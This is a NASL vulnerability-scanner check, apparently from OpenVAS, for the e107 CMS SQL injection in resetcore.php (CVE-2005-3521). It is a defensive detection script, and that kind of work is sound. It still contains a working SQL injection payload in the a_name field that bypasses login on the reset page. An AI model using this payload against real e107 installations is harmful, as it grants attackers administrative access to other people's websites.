e107_sql_injection.nasl

漏洞扫描源码,可以扫描linux,windows,交换机路由器

#
#  This script was written by David Maciejak <david dot maciejak at kyxar dot fr>
#  Ref: rgod
#  This script is released under the GNU GPL v2
#
if(description)
{
 script_id(20069);
 script_cve_id("CVE-2005-3521");
 script_bugtraq_id(15125);
 script_version("$Revision: 118 $");
 name["english"] = "e107 resetcore.php SQL Injection";
 script_name(english:name["english"]);
 
 desc["english"] = "
Synopsis :

The remote web server contains a PHP script that is prone to a SQL
injection attack. 

Description :

The remote host appears to be running e107, a web content management
system written in PHP. 

There is a flaw in the version of e107 on the remote host such that
anyone can injection SQL commands through the 'resetcore.php' script
which may be used to gain administrative access trivially. 

See also :

http://retrogod.altervista.org/e107remote.html
https://sourceforge.net/project/shownotes.php?release_id=364570

Solution :

Upgrade to e107 version 0.6173 or later.

Risk factor :

Medium / CVSS Base Score : 5 
(AV:R/AC:L/Au:NR/C:P/A:N/I:P/B:N)";

 script_description(english:desc["english"]);
 
 summary["english"] = "e107 SQL Injection";
 
 script_summary(english:summary["english"]);
 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 2005 David Maciejak");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);
 script_dependencie("e107_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

# Check starts here

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if (!can_host_php(port:port) ) exit(0);

host = get_host_name();
variables = "a_name='%27+or+isnull%281%2F0%29%2F*&a_password=openvas&usubmit=Continue";  


# Test an install.
install = get_kb_item(string("www/", port, "/e107"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];
  url = string(dir, "/e107_files/resetcore.php");

  # Make sure the script exists.
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (res == NULL) exit(0);

  # If it does...
  if (egrep(pattern:"<input [^>]*name='a_(name|password)'", string:res)) {
    req = string("POST ",url , " HTTP/1.1\r\n", 
	      "Referer: http://", host, ":", port, req, "\r\n",  
  	      "Host: ", host, ":", port, "\r\n", 
	      "Content-Type: application/x-www-form-urlencoded\r\n", 
	      "Content-Length: ", strlen(variables), "\r\n\r\n", variables);

    buf = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
    if(buf == NULL)exit(0);

    if ("Reset core to default values" >< buf && "e107 resetcore></title>" >< buf)
    {
	security_warning(port);
	exit(0);
    }
  } 
}